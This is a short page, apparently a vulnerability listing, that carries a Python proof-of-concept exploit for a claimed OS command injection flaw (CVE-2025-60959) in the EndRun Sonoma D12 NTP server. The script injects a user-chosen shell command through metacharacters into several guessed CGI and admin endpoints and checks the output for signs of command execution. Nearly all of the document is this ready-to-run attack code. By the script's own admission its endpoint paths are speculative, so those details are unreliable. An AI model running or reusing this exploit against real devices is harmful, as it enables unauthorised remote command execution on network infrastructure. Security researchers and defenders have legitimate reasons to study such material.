CVE-2025-60959 EndRun Sonoma D12 NTP服务器OS命令注入漏洞

# CVE-2025-60959 - EndRun Sonoma D12 OS Command Injection PoC # Author: xDiv-Sec Research Team # Advisory: https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12 import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" COMMAND = sys.argv[2] if len(sys.argv) > 2 else "id" # Vulnerable endpoint (example - actual parameter may vary) # The vulnerability exists in a CGI script that passes user input to system() # without proper sanitization. payload = f"; {COMMAND} ;" # Example injection points that may be vulnerable: endpoints = [ f"{TARGET}/cgi-bin/support.cgi?query={payload}", f"{TARGET}/cgi-bin/status.cgi?cmd={payload}", f"{TARGET}/admin/ping?host=127.0.0.1{payload}", ] for url in endpoints: try: print(f"[*] Trying: {url}") r = requests.get(url, timeout=10, verify=False) if r.status_code == 200 and "uid=" in r.text: print(f"[+] Command injection successful!") print(r.text) break except Exception as e: print(f"[-] Error: {e}") # Note: Actual exploitation requires identifying the specific vulnerable # parameter. Refer to the official advisory for exact details. # The injection uses shell metacharacters to break out of the intended # command context and execute arbitrary OS commands.